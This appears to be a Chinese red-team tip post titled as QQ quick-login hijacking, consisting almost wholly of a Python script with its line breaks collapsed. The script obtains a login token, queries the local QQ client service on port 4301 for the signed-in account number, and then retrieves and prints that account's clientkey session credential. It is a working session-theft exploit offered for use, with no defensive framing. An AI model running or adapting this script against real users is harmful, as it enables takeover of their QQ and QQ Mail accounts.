攻防演练技巧分享之代理的妙用：QQ快捷登入劫持

import requestsimport json def main():    BASE_URL = "https://localhost.ptlogin2.qq.com:4301/"    HEADERS = {"Referer": "https://xui.ptlogin2.qq.com/"}    token_url = ("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?target=self&appid=522005705&daid=4"                 "&s_url=https://wx.mail.qq.com/list/readtemplate?name=login_jump.html%26target=&style=25&low_login=1"                 "&proxy_url=https://mail.qq.com/proxy.html&need_qr=0&hide_border=1&border_radius=0"                 "&self_regurl=http://zc.qq.com/chs/index.html?type=1&app_id=11005?t=regist"                 "&pt_feedback_link=http://support.qq.com/discuss/350_1.shtml"                 "&css=https://res.mail.qq.com/zh_CN/htmledition/style/ptlogin_input_for_xmail5ec0c8.css")    pt_local_tk = requests.get(token_url).cookies['pt_local_token']        uins_response = requests.get(BASE_URL + "pt_get_uins", headers=HEADERS,                                  params={"callback": "ptui_getuins_CB", "r": 0.9772917378703209, "pt_local_tk": pt_local_tk},                                  cookies={"pt_local_token": pt_local_tk}).content    uid = json.loads("[" + uins_response.split(b"[")[1].split(b']')[0].decode() + "]")[0]['uin']     clientkey = requests.get(BASE_URL + "pt_get_st", headers=HEADERS,                             params={"clientuin": uid, "r": 0.5251440802971573, "pt_local_tk": pt_local_tk, "callback": "__jp0"},                             cookies={"pt_local_token": pt_local_tk}).cookies['clientkey']     print(clientkey) if __name__ == "__main__":    main()